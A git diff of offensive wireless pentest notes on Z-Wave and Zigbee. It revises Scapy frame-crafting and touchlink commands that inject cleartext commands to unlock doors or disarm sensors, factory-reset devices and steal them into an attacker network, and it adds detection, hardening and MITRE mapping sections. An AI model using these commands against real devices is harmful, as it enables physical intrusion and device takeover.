-74,10 +89,12 @@ S2 attack surface is mostly implementation: Many low-end Z-Wave devices (older sensors, basic switches) don't enforce S0 or S2 — they accept commands in cleartext. ```python -# scapy-zwave (community fork) for crafted frames +# Illustrative only — Z-Wave frame crafting via the Scapy-Radio zwave contrib. +# Class/field names (ZWave, home_id, command-class layers) vary by Scapy-Radio +# version; verify against the installed scapy/contrib/zwave module before relying +# on them. Transmission goes through EZ-Wave's GNU Radio flowgraph, not a plain iface. from scapy.contrib.zwave import * -frame = ZWave(home_id=0x12345678)/ZWaveBasic(set_value=0xff) -sendp(frame, iface='ezwave0') +frame = ZWave(homeid=0x12345678)/ZWaveSwitchBin(switchcmd=0x01, val=0xFF) ``` This unlocks doors / switches lights / unarms sensors when the target lacks authentication. @@ -87,13 +104,12 @@ This unlocks doors / switches lights / unarms sensors when the target lacks auth For old test deployments using default home IDs / network keys: ```bash -# Try default home IDs -for hid in 0x00000000 0x12345678 ...; do - ezwave-test --home-id $hid --target-node 1 -done +# HomeID is 32-bit, so brute-forcing the full space is infeasible. +# In practice: recover the real HomeID by sniffing, then active-probe it. +python2 ezstumbler.py --active --homeid=0x1a2b3c4e ``` -Hit rate on production is low; useful only for default-config IoT lab gear. +The 32-bit HomeID space rules out exhaustive brute-force. This is only realistic against default-config IoT lab gear with known/guessable HomeIDs — on production you recover the HomeID passively first, then probe. ## Hub Pivots @@ -111,9 +127,9 @@ Compromise the hub → walk away with the Z-Wave PSK + every paired device's com # 1. Identify region + frequency # US: 908.4 MHz; EU: 868.4 MHz; CN: 868.4 MHz -# 2. Sniff -ezwave-sniff -f 908.4MHz -o cap.pcap -wireshark cap.pcap # filter zwave +# 2. Enumerate + sniff (EZ-Wave recon tools, or RTL-SDR/Zniffer passive) +python2 ezstumbler.py --passive +wireshark cap.pcap # filter zwave (LINKTYPE_ZWAVE_R1_R2) # 3. Identify S0 vs S2 from frame format @@ -124,11 +140,37 @@ wireshark cap.pcap # filter zwave # 6. Test unauthenticated cleartext devices with crafted frames ``` -## Detection +## Detection / Defender View + +What a defender can actually observe, and where the blind spots are: + +| Signal | Where it shows up | Blind spot | +|---|---|---| +| Unexpected inclusion event | Hub log / UI "device added" notification | Rarely alerted on; no email/push by default on most hubs | +| S0 commissioning on an S2-capable mesh | Z-Wave JS UI security-class per node; packet capture | Interpreted as "compatibility", not as a downgrade (Z-Shave) indicator | +| Inclusion mode left open | Hub UI toggle | Ignored by inattentive admins; some hubs auto-close after a timeout, some don't | +| Cleartext Basic/Switch command bursts | Hub command log, if enabled | Most low-end nodes keep no history; hub UI does not surface per-command source | +| New/unknown Home ID in RF range | Only via an SDR sniffer the defender runs | No native IDS — Z-Wave has no Wi-Fi/Zigbee-grade monitoring ecosystem | -- Most Z-Wave deployments have no IDS comparable to Wi-Fi/Zigbee monitoring -- Hub may log unexpected commands but UI rarely surfaces these to users -- Inclusion-mode-open is visible in hub UI but ignored by inattentive admins +Practical detection posture for a blue team: +- Enable and forward hub logs (Home Assistant / Z-Wave JS UI emit inclusion + security-class events) to the SIEM; alert on any inclusion outside a change window. +- Periodically export the node list and **alert when a node's security class drops** (S2 → S0) — that is the clearest downgrade/Z-Shave signal. +- For high-value nodes (locks, garage, alarm arming), treat any cleartext Basic Set as an incident. + +## Mitigations / Hardening + +This is the counter — what stops each technique above: + +| Technique | Mitigation | +|---|---| +| S0 key-derivation sniff | Do all inclusion in an RF-quiet area; prefer S2, which never sends the key in the clear | +| S0 downgrade (Z-Shave) | **Disable S0 fallback** where the controller allows it; require S2 for all nodes; replace any node that is S0-only | +| Cleartext replay/injection | Retire unauthenticated/legacy nodes; require S2 Authenticated for locks, garage, and alarm devices | +| Default home ID / key brute-force | Never ship lab/default configs to production; force fresh key generation at commissioning | +| Hub key-store theft | Encrypt the hub at rest; restrict OS access; rotate network keys after any hub compromise; keep hub firmware current | +| Inclusion-mode-open | Keep inclusion disabled by default; enable only during a change window; verify it auto-closes | + +Defender one-liner: **S2-only mesh + hub hardening + log-forwarded inclusion events** removes the entire S0 chain and makes the remaining attack surface (hub compromise, physical DSK theft) loud. ## Reporting @@ -138,9 +180,25 @@ wireshark cap.pcap # filter zwave --- +## MITRE ATT&CK for ICS Mapping + +| Technique | ID | Where it appears here | +|---|---|---| +| Network Sniffing | T0842 | Sniffing inclusion / S0 key-exchange frames | +| Adversary-in-the-Middle | T0830 | S0 downgrade (Z-Shave) during commissioning | +| Wireless Compromise | T0860 | RF access to the mesh via SDR | +| Unauthorized Command Message | T0855 | Cleartext Basic/Switch command injection | +| Brute Force I/O | T0806 | Default home ID / network-key brute-force | + +(Enterprise equivalents for the hub-pivot path: T1557 Adversary-in-the-Middle, T1040 Network Sniffing, T1552.001 Credentials in Files for the plaintext hub key store.) + ## Key References -- EZ-Wave: github.com/cureHsu/EZ-Wave (HackRF-based) -- "Z-Force and the Z-Wave Sniffer" — original research -- Silicon Labs Z-Wave 700-series spec +- Fouladi, B. & Ghanoun, S. — "Security Evaluation of the Z-Wave Wireless Protocol," Black Hat USA 2013 (foundational Z-Wave security research; key-reset / implementation flaws) +- Pen Test Partners — "Z-Shave: Exploiting Z-Wave downgrade attacks" (2018): https://www.pentestpartners.com/security-blog/z-shave-exploiting-z-wave-downgrade-attacks/ +- Silicon Labs — Z-Wave S2 security whitepaper and 700-series specification +- EZ-Wave (Hall & Ramsey, ShmooCon 2016; Scapy-Radio/GNU Radio, canonical repo): https://github.com/scriptingxss/EZ-Wave +- tcpdump LINKTYPE_ZWAVE_R1_R2 (Z-Wave capture link type / frame format): https://www.tcpdump.org/linktypes/LINKTYPE_ZWAVE_R1_R2.html +- Z-Wave JS UI (defender-side node/security-class inspection and logging): https://github.com/zwave-js/zwave-js-ui +- MITRE ATT&CK for ICS: https://attack.mitre.org/matrices/ics/ - Source: https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.md diff --git a/Skills/wireless/offensive-zigbee-thread-matter/SKILL.md b/Skills/wireless/offensive-zigbee-thread-matter/SKILL.md index 0dc5484..c09a2f4 100644 --- a/Skills/wireless/offensive-zigbee-thread-matter/SKILL.md +++ b/Skills/wireless/offensive-zigbee-thread-matter/SKILL.md @@ -62,10 +62,13 @@ See also the [Touchlink commissioning research](https://www.wim.uni-mannheim.de/ for the derivation and the separate authentication weaknesses in Touchlink commands. ```bash -# z3sec — Zigbee 3 commissioning attack toolkit +# Z3sec — Touchlink commissioning attack toolkit (needs a KillerBee-compatible radio +# or SDR, and the leaked ZLL master key in ~/.config/z3sec/touchlink_crypt.ini). git clone https://github.com/IoTsec/Z3sec -python z3sec_inter_pan.py --command "factory_reset_request" --device -python z3sec_inter_pan.py --command "join_network" --network + +# Scan for touchlink-enabled devices, then reset a target to factory-new. +z3sec_touchlink --sdr -c all scan +z3sec_touchlink --sdr -c 11 reset --target ``` Outcomes: @@ -144,11 +147,11 @@ zbstumbler -i 0 zbdump -c -w cap.pcap # Open in Wireshark with dot15d4/zigbee dissectors -# 3. Touchlink attack on consumer Zigbee 3.0 lighting -python z3sec_inter_pan.py --command "factory_reset_request" --target +# 3. Touchlink attack on consumer Zigbee 3.0 lighting (factory-reset / DoS) +z3sec_touchlink --sdr -c reset --target -# 4. Steal device into attacker network -python z3sec_inter_pan.py --command "join_network" --target +# 4. Steal device into attacker network (touchlink network update / join) +z3sec_touchlink --sdr -c update --target # 5. With network key, issue ZCL commands directly # (custom scapy-dot15d4 + zbee_nwk frames)